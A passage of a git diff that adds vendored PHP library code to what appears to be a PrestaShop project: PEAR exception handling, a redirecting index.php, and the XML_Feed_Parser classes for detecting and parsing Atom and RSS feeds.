        '; + return $html; + } + + public function toText() + { + $causes = array(); + $this->getCauseMessage($causes); + $causeMsg = ''; + foreach ($causes as $i => $cause) { + $causeMsg .= str_repeat(' ', $i) . $cause['class'] . ': ' + . $cause['message'] . ' in ' . $cause['file'] + . ' on line ' . $cause['line'] . "\n"; + } + return $causeMsg . $this->getTraceAsString(); + } + } +} +/* + * Local Variables: + * mode: php + * tab-width: 4 + * c-basic-offset: 4 + * End: + */ +?> diff --git a/tools/pear/index.php b/tools/pear/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/tools/pear/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/tools/pear_xml_parser/Parser.php b/tools/pear_xml_parser/Parser.php new file mode 100755 index 0000000..470b049 --- /dev/null +++ b/tools/pear_xml_parser/Parser.php @@ -0,0 +1,351 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL + * @version CVS: $Id: Parser.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * XML_Feed_Parser_Type is an abstract class required by all of our + * feed types. It makes sense to load it here to keep the other files + * clean. + */ +require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/Type.php'); + +/** + * We will throw exceptions when errors occur. + */ +require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/Exception.php'); + +/** + * This is the core of the XML_Feed_Parser package. It identifies feed types + * and abstracts access to them. It is an iterator, allowing for easy access + * to the entire feed. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser implements Iterator +{ + /** + * This is where we hold the feed object + * @var Object + */ + private $feed; + + /** + * To allow for extensions, we make a public reference to the feed model + * @var DOMDocument + */ + public $model; + + /** + * A map between entry ID and offset + * @var array + */ + protected $idMappings = array(); + + /** + * A storage space for Namespace URIs. + * @var array + */ + private $feedNamespaces = array( + 'rss2' => array( + 'http://backend.userland.com/rss', + 'http://backend.userland.com/rss2', + 'http://blogs.law.harvard.edu/tech/rss')); + /** + * Detects feed types and instantiate appropriate objects. + * + * Our constructor takes care of detecting feed types and instantiating + * appropriate classes. For now we're going to treat Atom 0.3 as Atom 1.0 + * but raise a warning. I do not intend to introduce full support for + * Atom 0.3 as it has been deprecated, but others are welcome to. + * + * @param string $feed XML serialization of the feed + * @param bool $strict Whether or not to validate the feed + * @param bool $suppressWarnings Trigger errors for deprecated feed types? + * @param bool $tidy Whether or not to try and use the tidy library on input + */ + function __construct($feed, $strict = false, $suppressWarnings = false, $tidy = false) + { + $this->model = new DOMDocument; + if (! @$this->model->loadXML($feed)) { /* PrestaShop - no error display */ + if (extension_loaded('tidy') && $tidy) { + $tidy = new tidy; + $tidy->parseString($feed, + array('input-xml' => true, 'output-xml' => true)); + $tidy->cleanRepair(); + if (! @$this->model->loadXML((string) $tidy)) { /* PrestaShop - no error display */ + throw new XML_Feed_Parser_Exception('Invalid input: this is not ' . + 'valid XML'); + } + } else { + throw new XML_Feed_Parser_Exception('Invalid input: this is not valid XML'); + } + + } + + /* detect feed type */ + $doc_element = $this->model->documentElement; + $error = false; + + switch (true) { + case ($doc_element->namespaceURI == 'http://www.w3.org/2005/Atom'): + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/Atom.php'); + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/AtomElement.php'); + $class = 'XML_Feed_Parser_Atom'; + break; + case ($doc_element->namespaceURI == 'http://purl.org/atom/ns#'): + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/Atom.php'); + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/AtomElement.php'); + $class = 'XML_Feed_Parser_Atom'; + $error = 'Atom 0.3 deprecated, using 1.0 parser which won\'t provide ' . + 'all options'; + break; + case ($doc_element->namespaceURI == 'http://purl.org/rss/1.0/' || + ($doc_element->hasChildNodes() && $doc_element->childNodes->length > 1 + && $doc_element->childNodes->item(1)->namespaceURI == + 'http://purl.org/rss/1.0/')): + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS1.php'); + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS1Element.php'); + $class = 'XML_Feed_Parser_RSS1'; + break; + case ($doc_element->namespaceURI == 'http://purl.org/rss/1.1/' || + ($doc_element->hasChildNodes() && $doc_element->childNodes->length > 1 + && $doc_element->childNodes->item(1)->namespaceURI == + 'http://purl.org/rss/1.1/')): + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS11.php'); + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS11Element.php'); + $class = 'XML_Feed_Parser_RSS11'; + break; + case (($doc_element->hasChildNodes() && $doc_element->childNodes->length > 1 + && $doc_element->childNodes->item(1)->namespaceURI == + 'http://my.netscape.com/rdf/simple/0.9/') || + $doc_element->namespaceURI == 'http://my.netscape.com/rdf/simple/0.9/'): + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS09.php'); + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS09Element.php'); + $class = 'XML_Feed_Parser_RSS09'; + break; + case ($doc_element->tagName == 'rss' and + $doc_element->hasAttribute('version') && + $doc_element->getAttribute('version') == 0.91): + $error = 'RSS 0.91 has been superceded by RSS2.0. Using RSS2.0 parser.'; + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS2.php'); + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS2Element.php'); + $class = 'XML_Feed_Parser_RSS2'; + break; + case ($doc_element->tagName == 'rss' and + $doc_element->hasAttribute('version') && + $doc_element->getAttribute('version') == 0.92): + $error = 'RSS 0.92 has been superceded by RSS2.0. Using RSS2.0 parser.'; + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS2.php'); + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS2Element.php'); + $class = 'XML_Feed_Parser_RSS2'; + break; + case (in_array($doc_element->namespaceURI, $this->feedNamespaces['rss2']) + || $doc_element->tagName == 'rss'): + if (! $doc_element->hasAttribute('version') || + $doc_element->getAttribute('version') != 2) { + $error = 'RSS version not specified. Parsing as RSS2.0'; + } + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS2.php'); + require_once (_PS_PEAR_XML_PARSER_PATH_.'Parser/RSS2Element.php'); + $class = 'XML_Feed_Parser_RSS2'; + break; + default: + throw new XML_Feed_Parser_Exception('Feed type unknown'); + break; + } + + if (! $suppressWarnings && ! empty($error)) { + trigger_error($error, E_USER_WARNING); + } + + /* Instantiate feed object */ + $this->feed = new $class($this->model, $strict); + } + + /** + * Proxy to allow feed element names to be used as method names + * + * For top-level feed elements we will provide access using methods or + * attributes. This function simply passes on a request to the appropriate + * feed type object. + * + * @param string $call - the method being called + * @param array $attributes + */ + function __call($call, $attributes) + { + $attributes = array_pad($attributes, 5, false); + list($a, $b, $c, $d, $e) = $attributes; + return $this->feed->$call($a, $b, $c, $d, $e); + } + + /** + * Proxy to allow feed element names to be used as attribute names + * + * To allow variable-like access to feed-level data we use this + * method. It simply passes along to __call() which in turn passes + * along to the relevant object. + * + * @param string $val - the name of the variable required + */ + function __get($val) + { + return $this->feed->$val; + } + + /** + * Provides iteration functionality. + * + * Of course we must be able to iterate... This function simply increases + * our internal counter. + */ + function next() + { + if (isset($this->current_item) && + $this->current_item <= $this->feed->numberEntries - 1) { + ++$this->current_item; + } else if (! isset($this->current_item)) { + $this->current_item = 0; + } else { + return false; + } + } + + /** + * Return XML_Feed_Type object for current element + * + * @return XML_Feed_Parser_Type Object + */ + function current() + { + return $this->getEntryByOffset($this->current_item); + } + + /** + * For iteration -- returns the key for the current stage in the array. + * + * @return int + */ + function key() + { + return $this->current_item; + } + + /** + * For iteration -- tells whether we have reached the + * end. + * + * @return bool + */ + function valid() + { + return $this->current_item < $this->feed->numberEntries; + } + + /** + * For iteration -- resets the internal counter to the beginning. + */ + function rewind() + { + $this->current_item = 0; + } + + /** + * Provides access to entries by ID if one is specified in the source feed. + * + * As well as allowing the items to be iterated over we want to allow + * users to be able to access a specific entry. This is one of two ways of + * doing that, the other being by offset. This method can be quite slow + * if dealing with a large feed that hasn't yet been processed as it + * instantiates objects for every entry until it finds the one needed. + * + * @param string $id Valid ID for the given feed format + * @return XML_Feed_Parser_Type|false + */ + function getEntryById($id) + { + if (isset($this->idMappings[$id])) { + return $this->getEntryByOffset($this->idMappings[$id]); + } + + /* + * Since we have not yet encountered that ID, let's go through all the + * remaining entries in order till we find it. + * This is a fairly slow implementation, but it should work. + */ + return $this->feed->getEntryById($id); + } + + /** + * Retrieve entry by numeric offset, starting from zero. + * + * As well as allowing the items to be iterated over we want to allow + * users to be able to access a specific entry. This is one of two ways of + * doing that, the other being by ID. + * + * @param int $offset The position of the entry within the feed, starting from 0 + * @return XML_Feed_Parser_Type|false + */ + function getEntryByOffset($offset) + { + if ($offset < $this->feed->numberEntries) { + if (isset($this->feed->entries[$offset])) { + return $this->feed->entries[$offset]; + } else { + try { + $this->feed->getEntryByOffset($offset); + } catch (Exception $e) { + return false; + } + $id = $this->feed->entries[$offset]->getID(); + $this->idMappings[$id] = $offset; + return $this->feed->entries[$offset]; + } + } else { + return false; + } + } + + /** + * Retrieve version details from feed type class. + * + * @return void + * @author James Stewart + */ + function version() + { + return $this->feed->version; + } + + /** + * Returns a string representation of the feed. + * + * @return String + **/ + function __toString() + { + return $this->feed->__toString(); + } +} +?> \ No newline at end of file diff --git a/tools/pear_xml_parser/Parser/Atom.php b/tools/pear_xml_parser/Parser/Atom.php new file mode 100755 index 0000000..bccbdae --- /dev/null +++ b/tools/pear_xml_parser/Parser/Atom.php @@ -0,0 +1,365 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: Atom.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ +*/ + +/** + * This is the class that determines how we manage Atom 1.0 feeds + * + * How we deal with constructs: + * date - return as unix datetime for use with the 'date' function unless specified otherwise + * text - return as is. optional parameter will give access to attributes + * person - defaults to name, but parameter based access + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser_Atom extends XML_Feed_Parser_Type +{ + /** + * The URI of the RelaxNG schema used to (optionally) validate the feed + * @var string + */ + protected $relax = 'atom.rng'; + + /** + * We're likely to use XPath, so let's keep it global + * @var DOMXPath + */ + public $xpath; + + /** + * When performing XPath queries we will use this prefix + * @var string + */ + private $xpathPrefix = '//'; + + /** + * The feed type we are parsing + * @var string + */ + public $version = 'Atom 1.0'; + + /** + * The class used to represent individual items + * @var string + */ + protected $itemClass = 'XML_Feed_Parser_AtomElement'; + + /** + * The element containing entries + * @var string + */ + protected $itemElement = 'entry'; + + /** + * Here we map those elements we're not going to handle individually + * to the constructs they are. The optional second parameter in the array + * tells the parser whether to 'fall back' (not apt. at the feed level) or + * fail if the element is missing. If the parameter is not set, the function + * will simply return false and leave it to the client to decide what to do. + * @var array + */ + protected $map = array( + 'author' => array('Person'), + 'contributor' => array('Person'), + 'icon' => array('Text'), + 'logo' => array('Text'), + 'id' => array('Text', 'fail'), + 'rights' => array('Text'), + 'subtitle' => array('Text'), + 'title' => array('Text', 'fail'), + 'updated' => array('Date', 'fail'), + 'link' => array('Link'), + 'generator' => array('Text'), + 'category' => array('Category')); + + /** + * Here we provide a few mappings for those very special circumstances in + * which it makes sense to map back to the RSS2 spec. Key is RSS2 version + * value is an array consisting of the equivalent in atom and any attributes + * needed to make the mapping. + * @var array + */ + protected $compatMap = array( + 'guid' => array('id'), + 'links' => array('link'), + 'tags' => array('category'), + 'contributors' => array('contributor')); + + /** + * Our constructor does nothing more than its parent. + * + * @param DOMDocument $xml A DOM object representing the feed + * @param bool (optional) $string Whether or not to validate this feed + */ + function __construct(DOMDocument $model, $strict = false) + { + $this->model = $model; + + if ($strict) { + if (! $this->relaxNGValidate()) { + throw new XML_Feed_Parser_Exception('Failed required validation'); + } + } + + $this->xpath = new DOMXPath($this->model); + $this->xpath->registerNamespace('atom', 'http://www.w3.org/2005/Atom'); + $this->numberEntries = $this->count('entry'); + } + + /** + * Implement retrieval of an entry based on its ID for atom feeds. + * + * This function uses XPath to get the entry based on its ID. If DOMXPath::evaluate + * is available, we also use that to store a reference to the entry in the array + * used by getEntryByOffset so that method does not have to seek out the entry + * if it's requested that way. + * + * @param string $id any valid Atom ID. + * @return XML_Feed_Parser_AtomElement + */ + function getEntryById($id) + { + if (isset($this->idMappings[$id])) { + return $this->entries[$this->idMappings[$id]]; + } + + $entries = $this->xpath->query("//atom:entry[atom:id='$id']"); + + if ($entries->length > 0) { + $xmlBase = $entries->item(0)->baseURI; + $entry = new $this->itemClass($entries->item(0), $this, $xmlBase); + + if (in_array('evaluate', get_class_methods($this->xpath))) { + $offset = $this->xpath->evaluate("count(preceding-sibling::atom:entry)", $entries->item(0)); + $this->entries[$offset] = $entry; + } + + $this->idMappings[$id] = $entry; + + return $entry; + } + + } + + /** + * Retrieves data from a person construct. + * + * Get a person construct. We default to the 'name' element but allow + * access to any of the elements. + * + * @param string $method The name of the person construct we want + * @param array $arguments An array which we hope gives a 'param' + * @return string|false + */ + protected function getPerson($method, $arguments) + { + $offset = empty($arguments[0]) ? 0 : $arguments[0]; + $parameter = empty($arguments[1]['param']) ? 'name' : $arguments[1]['param']; + $section = $this->model->getElementsByTagName($method); + + if ($parameter == 'url') { + $parameter = 'uri'; + } + + if ($section->length <= $offset) { + return false; + } + + $param = $section->item($offset)->getElementsByTagName($parameter); + if ($param->length == 0) { + return false; + } + return $param->item(0)->nodeValue; + } + + /** + * Retrieves an element's content where that content is a text construct. + * + * Get a text construct. When calling this method, the two arguments + * allowed are 'offset' and 'attribute', so $parser->subtitle() would + * return the content of the element, while $parser->subtitle(false, 'type') + * would return the value of the type attribute. + * + * @todo Clarify overlap with getContent() + * @param string $method The name of the text construct we want + * @param array $arguments An array which we hope gives a 'param' + * @return string + */ + protected function getText($method, $arguments) + { + $offset = empty($arguments[0]) ? 0: $arguments[0]; + $attribute = empty($arguments[1]) ? false : $arguments[1]; + $tags = $this->model->getElementsByTagName($method); + + if ($tags->length <= $offset) { + return false; + } + + $content = $tags->item($offset); + + if (! $content->hasAttribute('type')) { + $content->setAttribute('type', 'text'); + } + $type = $content->getAttribute('type'); + + if (! empty($attribute) and + ! ($method == 'generator' and $attribute == 'name')) { + if ($content->hasAttribute($attribute)) { + return $content->getAttribute($attribute); + } else if ($attribute == 'href' and $content->hasAttribute('uri')) { + return $content->getAttribute('uri'); + } + return false; + } + + return $this->parseTextConstruct($content); + } + + /** + * Extract content appropriately from atom text constructs + * + * Because of different rules applied to the content element and other text + * constructs, they are deployed as separate functions, but they share quite + * a bit of processing. This method performs the core common process, which is + * to apply the rules for different mime types in order to extract the content. + * + * @param DOMNode $content the text construct node to be parsed + * @return String + * @author James Stewart + **/ + protected function parseTextConstruct(DOMNode $content) + { + if ($content->hasAttribute('type')) { + $type = $content->getAttribute('type'); + } else { + $type = 'text'; + } + + if (strpos($type, 'text/') === 0) { + $type = 'text'; + } + + switch ($type) { + case 'text': + case 'html': + return $content->textContent; + break; + case 'xhtml': + $container = $content->getElementsByTagName('div'); + if ($container->length == 0) { + return false; + } + $contents = $container->item(0); + if ($contents->hasChildNodes()) { + /* Iterate through, applying xml:base and store the result */ + $result = ''; + foreach ($contents->childNodes as $node) { + $result .= $this->traverseNode($node); + } + return $result; + } + break; + case preg_match('@^[a-zA-Z]+/[a-zA-Z+]*xml@i', $type) > 0: + return $content; + break; + case 'application/octet-stream': + default: + return base64_decode(trim($content->nodeValue)); + break; + } + return false; + } + /** + * Get a category from the entry. + * + * A feed or entry can have any number of categories. A category can have the + * attributes term, scheme and label. + * + * @param string $method The name of the text construct we want + * @param array $arguments An array which we hope gives a 'param' + * @return string + */ + function getCategory($method, $arguments) + { + $offset = empty($arguments[0]) ? 0: $arguments[0]; + $attribute = empty($arguments[1]) ? 'term' : $arguments[1]; + $categories = $this->model->getElementsByTagName('category'); + if ($categories->length <= $offset) { + $category = $categories->item($offset); + if ($category->hasAttribute($attribute)) { + return $category->getAttribute($attribute); + } + } + return false; + } + + /** + * This element must be present at least once with rel="feed". This element may be + * present any number of further times so long as there is no clash. If no 'rel' is + * present and we're asked for one, we follow the example of the Universal Feed + * Parser and presume 'alternate'. + * + * @param int $offset the position of the link within the container + * @param string $attribute the attribute name required + * @param array an array of attributes to search by + * @return string the value of the attribute + */ + function getLink($offset = 0, $attribute = 'href', $params = false) + { + if (is_array($params) and !empty($params)) { + $terms = array(); + $alt_predicate = ''; + $other_predicate = ''; + + foreach ($params as $key => $value) { + if ($key == 'rel' && $value == 'alternate') { + $alt_predicate = '[not(@rel) or @rel="alternate"]'; + } else { + $terms[] = "@$key='$value'"; + } + } + if (!empty($terms)) { + $other_predicate = '[' . join(' and ', $terms) . ']'; + } + $query = $this->xpathPrefix . 'atom:link' . $alt_predicate . $other_predicate; + $links = $this->xpath->query($query); + } else { + $links = $this->model->getElementsByTagName('link'); + } + if ($links->length > $offset) { + if ($links->item($offset)->hasAttribute($attribute)) { + $value = $links->item($offset)->getAttribute($attribute); + if ($attribute == 'href') { + $value = $this->addBase($value, $links->item($offset)); + } + return $value; + } else if ($attribute == 'rel') { + return 'alternate'; + } + } + return false; + } +} + +?> diff --git a/tools/pear_xml_parser/Parser/AtomElement.php b/tools/pear_xml_parser/Parser/AtomElement.php new file mode 100755 index 0000000..dc5a03a --- /dev/null +++ b/tools/pear_xml_parser/Parser/AtomElement.php @@ -0,0 +1,261 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: AtomElement.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * This class provides support for atom entries. It will usually be called by + * XML_Feed_Parser_Atom with which it shares many methods. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser_AtomElement extends XML_Feed_Parser_Atom +{ + /** + * This will be a reference to the parent object for when we want + * to use a 'fallback' rule + * @var XML_Feed_Parser_Atom + */ + protected $parent; + + /** + * When performing XPath queries we will use this prefix + * @var string + */ + private $xpathPrefix = ''; + + /** + * xml:base values inherited by the element + * @var string + */ + protected $xmlBase; + + /** + * Here we provide a few mappings for those very special circumstances in + * which it makes sense to map back to the RSS2 spec or to manage other + * compatibilities (eg. with the Univeral Feed Parser). Key is the other version's + * name for the command, value is an array consisting of the equivalent in our atom + * api and any attributes needed to make the mapping. + * @var array + */ + protected $compatMap = array( + 'guid' => array('id'), + 'links' => array('link'), + 'tags' => array('category'), + 'contributors' => array('contributor')); + + /** + * Our specific element map + * @var array + */ + protected $map = array( + 'author' => array('Person', 'fallback'), + 'contributor' => array('Person'), + 'id' => array('Text', 'fail'), + 'published' => array('Date'), + 'updated' => array('Date', 'fail'), + 'title' => array('Text', 'fail'), + 'rights' => array('Text', 'fallback'), + 'summary' => array('Text'), + 'content' => array('Content'), + 'link' => array('Link'), + 'enclosure' => array('Enclosure'), + 'category' => array('Category')); + + /** + * Store useful information for later. + * + * @param DOMElement $element - this item as a DOM element + * @param XML_Feed_Parser_Atom $parent - the feed of which this is a member + */ + function __construct(DOMElement $element, $parent, $xmlBase = '') + { + $this->model = $element; + $this->parent = $parent; + $this->xmlBase = $xmlBase; + $this->xpathPrefix = "//atom:entry[atom:id='" . $this->id . "']/"; + $this->xpath = $this->parent->xpath; + } + + /** + * Provides access to specific aspects of the author data for an atom entry + * + * Author data at the entry level is more complex than at the feed level. + * If atom:author is not present for the entry we need to look for it in + * an atom:source child of the atom:entry. If it's not there either, then + * we look to the parent for data. + * + * @param array + * @return string + */ + function getAuthor($arguments) + { + /* Find out which part of the author data we're looking for */ + if (isset($arguments['param'])) { + $parameter = $arguments['param']; + } else { + $parameter = 'name'; + } + + $test = $this->model->getElementsByTagName('author'); + if ($test->length > 0) { + $item = $test->item(0); + return $item->getElementsByTagName($parameter)->item(0)->nodeValue; + } + + $source = $this->model->getElementsByTagName('source'); + if ($source->length > 0) { + $test = $this->model->getElementsByTagName('author'); + if ($test->length > 0) { + $item = $test->item(0); + return $item->getElementsByTagName($parameter)->item(0)->nodeValue; + } + } + return $this->parent->getAuthor($arguments); + } + + /** + * Returns the content of the content element or info on a specific attribute + * + * This element may or may not be present. It cannot be present more than + * once. It may have a 'src' attribute, in which case there's no content + * If not present, then the entry must have link with rel="alternate". + * If there is content we return it, if not and there's a 'src' attribute + * we return the value of that instead. The method can take an 'attribute' + * argument, in which case we return the value of that attribute if present. + * eg. $item->content("type") will return the type of the content. It is + * recommended that all users check the type before getting the content to + * ensure that their script is capable of handling the type of returned data. + * (data carried in the content element can be either 'text', 'html', 'xhtml', + * or any standard MIME type). + * + * @return string|false + */ + protected function getContent($method, $arguments = array()) + { + $attribute = empty($arguments[0]) ? false : $arguments[0]; + $tags = $this->model->getElementsByTagName('content'); + + if ($tags->length == 0) { + return false; + } + + $content = $tags->item(0); + + if (! $content->hasAttribute('type')) { + $content->setAttribute('type', 'text'); + } + if (! empty($attribute)) { + return $content->getAttribute($attribute); + } + + $type = $content->getAttribute('type'); + + if (! empty($attribute)) { + if ($content->hasAttribute($attribute)) + { + return $content->getAttribute($attribute); + } + return false; + } + + if ($content->hasAttribute('src')) { + return $content->getAttribute('src'); + } + + return $this->parseTextConstruct($content); + } + + /** + * For compatibility, this method provides a mapping to access enclosures. + * + * The Atom spec doesn't provide for an enclosure element, but it is + * generally supported using the link element with rel='enclosure'. + * + * @param string $method - for compatibility with our __call usage + * @param array $arguments - for compatibility with our __call usage + * @return array|false + */ + function getEnclosure($method, $arguments = array()) + { + $offset = isset($arguments[0]) ? $arguments[0] : 0; + $query = "//atom:entry[atom:id='" . $this->getText('id', false) . + "']/atom:link[@rel='enclosure']"; + + $encs = $this->parent->xpath->query($query); + if ($encs->length > $offset) { + try { + if (! $encs->item($offset)->hasAttribute('href')) { + return false; + } + $attrs = $encs->item($offset)->attributes; + $length = $encs->item($offset)->hasAttribute('length') ? + $encs->item($offset)->getAttribute('length') : false; + return array( + 'url' => $attrs->getNamedItem('href')->value, + 'type' => $attrs->getNamedItem('type')->value, + 'length' => $length); + } catch (Exception $e) { + return false; + } + } + return false; + } + + /** + * Get details of this entry's source, if available/relevant + * + * Where an atom:entry is taken from another feed then the aggregator + * is supposed to include an atom:source element which replicates at least + * the atom:id, atom:title, and atom:updated metadata from the original + * feed. Atom:source therefore has a very similar structure to atom:feed + * and if we find it we will return it as an XML_Feed_Parser_Atom object. + * + * @return XML_Feed_Parser_Atom|false + */ + function getSource() + { + $test = $this->model->getElementsByTagName('source'); + if ($test->length == 0) { + return false; + } + $source = new XML_Feed_Parser_Atom($test->item(0)); + } + + /** + * Get the entry as an XML string + * + * Return an XML serialization of the feed, should it be required. Most + * users however, will already have a serialization that they used when + * instantiating the object. + * + * @return string XML serialization of element + */ + function __toString() + { + $simple = simplexml_import_dom($this->model); + return $simple->asXML(); + } +} + +?> \ No newline at end of file diff --git a/tools/pear_xml_parser/Parser/Exception.php b/tools/pear_xml_parser/Parser/Exception.php new file mode 100755 index 0000000..c0f5b46 --- /dev/null +++ b/tools/pear_xml_parser/Parser/Exception.php @@ -0,0 +1,42 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL + * @version CVS: $Id: Exception.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * We are extending PEAR_Exception + */ +require_once(dirname(__FILE__).'/../../pear/PEAR.php'); + +/** + * XML_Feed_Parser_Exception is a simple extension of PEAR_Exception, existing + * to help with identification of the source of exceptions. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser_Exception extends PEAR_Exception +{ + +} + +?> \ No newline at end of file diff --git a/tools/pear_xml_parser/Parser/RSS09.php b/tools/pear_xml_parser/Parser/RSS09.php new file mode 100755 index 0000000..6e4f867 --- /dev/null +++ b/tools/pear_xml_parser/Parser/RSS09.php @@ -0,0 +1,221 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: RSS09.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * This class handles RSS0.9 feeds. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + * @todo Find a Relax NG URI we can use + */ +class XML_Feed_Parser_RSS09 extends XML_Feed_Parser_Type +{ + /** + * The URI of the RelaxNG schema used to (optionally) validate the feed + * @var string + */ + protected $relax = ''; + + /** + * We're likely to use XPath, so let's keep it global + * @var DOMXPath + */ + protected $xpath; + + /** + * The feed type we are parsing + * @var string + */ + public $version = 'RSS 0.9'; + + /** + * The class used to represent individual items + * @var string + */ + protected $itemClass = 'XML_Feed_Parser_RSS09Element'; + + /** + * The element containing entries + * @var string + */ + protected $itemElement = 'item'; + + /** + * Here we map those elements we're not going to handle individually + * to the constructs they are. The optional second parameter in the array + * tells the parser whether to 'fall back' (not apt. at the feed level) or + * fail if the element is missing. If the parameter is not set, the function + * will simply return false and leave it to the client to decide what to do. + * @var array + */ + protected $map = array( + 'title' => array('Text'), + 'link' => array('Text'), + 'description' => array('Text'), + 'image' => array('Image'), + 'textinput' => array('TextInput')); + + /** + * Here we map some elements to their atom equivalents. This is going to be + * quite tricky to pull off effectively (and some users' methods may vary) + * but is worth trying. The key is the atom version, the value is RSS2. + * @var array + */ + protected $compatMap = array( + 'title' => array('title'), + 'link' => array('link'), + 'subtitle' => array('description')); + + /** + * We will be working with multiple namespaces and it is useful to + * keep them together + * @var array + */ + protected $namespaces = array( + 'rdf' => 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'); + + /** + * Our constructor does nothing more than its parent. + * + * @todo RelaxNG validation + * @param DOMDocument $xml A DOM object representing the feed + * @param bool (optional) $string Whether or not to validate this feed + */ + function __construct(DOMDocument $model, $strict = false) + { + $this->model = $model; + + $this->xpath = new DOMXPath($model); + foreach ($this->namespaces as $key => $value) { + $this->xpath->registerNamespace($key, $value); + } + $this->numberEntries = $this->count('item'); + } + + /** + * Included for compatibility -- will not work with RSS 0.9 + * + * This is not something that will work with RSS0.9 as it does not have + * clear restrictions on the global uniqueness of IDs. + * + * @param string $id any valid ID. + * @return false + */ + function getEntryById($id) + { + return false; + } + + /** + * Get details of the image associated with the feed. + * + * @return array|false an array simply containing the child elements + */ + protected function getImage() + { + $images = $this->model->getElementsByTagName('image'); + if ($images->length > 0) { + $image = $images->item(0); + $details = array(); + if ($image->hasChildNodes()) { + $details = array( + 'title' => $image->getElementsByTagName('title')->item(0)->value, + 'link' => $image->getElementsByTagName('link')->item(0)->value, + 'url' => $image->getElementsByTagName('url')->item(0)->value); + } else { + $details = array('title' => false, + 'link' => false, + 'url' => $image->attributes->getNamedItem('resource')->nodeValue); + } + $details = array_merge($details, + array('description' => false, 'height' => false, 'width' => false)); + if (! empty($details)) { + return $details; + } + } + return false; + } + + /** + * The textinput element is little used, but in the interests of + * completeness we will support it. + * + * @return array|false + */ + protected function getTextInput() + { + $inputs = $this->model->getElementsByTagName('textinput'); + if ($inputs->length > 0) { + $input = $inputs->item(0); + $results = array(); + $results['title'] = isset( + $input->getElementsByTagName('title')->item(0)->value) ? + $input->getElementsByTagName('title')->item(0)->value : null; + $results['description'] = isset( + $input->getElementsByTagName('description')->item(0)->value) ? + $input->getElementsByTagName('description')->item(0)->value : null; + $results['name'] = isset( + $input->getElementsByTagName('name')->item(0)->value) ? + $input->getElementsByTagName('name')->item(0)->value : null; + $results['link'] = isset( + $input->getElementsByTagName('link')->item(0)->value) ? + $input->getElementsByTagName('link')->item(0)->value : null; + if (empty($results['link']) && + $input->attributes->getNamedItem('resource')) { + $results['link'] = $input->attributes->getNamedItem('resource')->nodeValue; + } + if (! empty($results)) { + return $results; + } + } + return false; + } + + /** + * Get details of a link from the feed. + * + * In RSS1 a link is a text element but in order to ensure that we resolve + * URLs properly we have a special function for them. + * + * @return string + */ + function getLink($offset = 0, $attribute = 'href', $params = false) + { + $links = $this->model->getElementsByTagName('link'); + if ($links->length <= $offset) { + return false; + } + $link = $links->item($offset); + return $this->addBase($link->nodeValue, $link); + } + + /** + * Not implemented - no available validation. + */ + public function relaxNGValidate() { + return true; +} +} + +?> diff --git a/tools/pear_xml_parser/Parser/RSS09Element.php b/tools/pear_xml_parser/Parser/RSS09Element.php new file mode 100755 index 0000000..72730a3 --- /dev/null +++ b/tools/pear_xml_parser/Parser/RSS09Element.php @@ -0,0 +1,62 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: RSS09Element.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/* + * This class provides support for RSS 0.9 entries. It will usually be called by + * XML_Feed_Parser_RSS09 with which it shares many methods. + * + * @author James 